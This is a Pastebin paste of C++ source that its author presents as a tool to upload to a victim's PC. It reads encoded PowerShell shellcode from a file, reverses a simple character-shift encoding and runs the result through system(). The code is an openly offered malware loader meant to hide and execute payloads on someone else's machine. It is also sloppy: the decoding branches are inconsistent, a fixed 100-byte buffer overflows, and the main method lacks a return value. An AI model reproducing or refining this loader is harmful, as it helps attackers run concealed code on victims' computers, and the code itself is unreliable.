Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- <Manual - after compiling this to a exe ,you will upload to victims pc and you need to put the
- encrypted shell code into a file (might be a text file also) so that this program can decrypt it
- and (if you change the encryption logic you have to change the decryption logic too).
- Author : S0urav (n0va)
- fb : www.facebook.com/dude.sourav
- ?>
- */
- /*note: i have just started with this, many more functions i am gonna add with it, so relax and try this
- simple encoder/decoder powershell scripts.
- */
- #include <iostream>
- #include <fstream>
- #include <string.h>
- using namespace std;
- class PowershellDeCoder{
- private:
- string shellCode;
- protected:
- void decoder(){
- ifstream shell_reader("C:\\shellCode.n0va");
- while(getline(shell_reader,shellCode)){
- shell_reader >> shellCode;
- }
- shell_reader.close();
- int len_ofShell = shellCode.length();
- for(int i = 0;i<len_ofShell;i++){ // this is where the Decoding really happens
- if(shellCode.at(i) == 112) shellCode.at(i) = shellCode.at(i) + 17;
- if(shellCode.at(i) == 113) shellCode.at(i) = shellCode.at(i) + 99;
- else shellCode.at(i) = shellCode.at(i) - 17;
- }
- char array[100];//This size will increase cause, useually the size of a powershell payload is too much
- strcpy(array, shellCode.c_str());
- system(array);
- }
- public:
- int acces_Decoder(){
- decoder();
- }
- };
- int main(){
- PowershellDeCoder psh;
- psh.acces_Decoder();
- }
Add Comment
Please, Sign In to add comment